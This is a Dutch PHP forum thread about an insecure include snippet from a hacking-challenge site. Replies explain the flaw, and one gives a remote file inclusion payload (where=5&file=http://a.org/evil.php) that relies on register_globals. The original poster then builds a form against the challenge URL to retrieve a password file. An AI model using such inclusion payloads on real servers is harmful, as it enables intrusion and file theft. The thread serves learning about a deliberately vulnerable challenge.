Versio

Onveilig

Overzicht Reageren

GaMer B

GaMer B

23/11/2008 16:23:00
Quote Anchor link
Hallo allemaal,

Ik heb een kort vraagje. De hieronder geplaatste code schijnt onveilig te zijn, maar ik vroeg me af waarom? Ikzelf doe dit nooit op deze manier, maar ik zie er geen onveilige dingen in... Iemand en idee?

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<form name="challenge" method="post">
<select size="1" name="where">
<option value="1">Home</option>
<option value="2">Download</option>
<option value="3">Freebies</option>
<option value="4">Links</option>
</select>
<p><input type="submit" name="submit" value="go" class="button" /></p>
</form>
<?php
if (isset($_POST['where'])) {
    if ($_POST['where']==1)
        $file = 'home.php';
    if ($_POST['where']==2)
        $file = 'download.php';
    if ($_POST['where']==3)
        $file = 'freebies.php';
    if ($_POST['where']==4)
        $file = 'links.php';
    include($file);
}

?>
 
PHP hulp

PHP hulp

25/05/2012 12:44:54
Gesponsorde koppelingen:
 
Max S

Max S

23/11/2008 16:28:00
Quote Anchor link
Misschien moet je eerst kijken of er wel op de submit button is geklikt..
En in plaats van alleen maar if's kan je elseif's gebruiken.
 
Crispijn -

Crispijn -

23/11/2008 16:39:00
Quote Anchor link
Je formulier kan aangepast worden en daardoor kan elk bestand op je server opgevraagd worden. Dat is precies wat je niet wilt.

Wat je kan doen is een array maken met de pagina's die toegestaan zijn. Staat de opgevraagde pagina/bestand niet in het array, dan laat ie een standaard pagina zien, bijvoorbeeld home.

Succes ermee!
 
Jelmer rrrr

Jelmer rrrr

23/11/2008 16:56:00
Quote Anchor link
Wanneer register_globals & de stream-wrappers voor include nog aan staan, zou je een POST-request kunnen doen met where=5&file=http://a.org/evil.php, en dan wordt evil.php geïnclude.
 
GaMer B

GaMer B

05/01/2009 20:04:00
Quote Anchor link
Hmmz, ik heb nu de register_globals methode gebruikt en het is me "soort van" gelukt.

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
<form name="challenge" action="http://www.rankk.org/challenges/php-pwned.py?start=true" method="post">
    Where:<br />
    <input type="text" name="where" size="25" value=" " /><br />
    File:<br />
    <input type="text" name="file" size="25" /><br />

    <input type="submit" name="submit" value="go" />
</form>


Als ik nu wat invul bij 'file' dan krijg ik:
Quote:
Warning: main(): failed to open stream: No such file or directory in /var/web/public/challenges/php-pwned.php on line 26


Is er een manier om dan het juiste bestand te proberen te vinden?

EDIT: Met 'het juiste bestand' bedoel ik het bestand met het wachtwoord erin (het is een uitdaging van een uitdagingen-website):

Quote:
Your task is to exploit it to obtain the password file.
Gewijzigd op 01/01/1970 01:00:00 door GaMer B
 



Overzicht Reageren

Get Adobe Flash player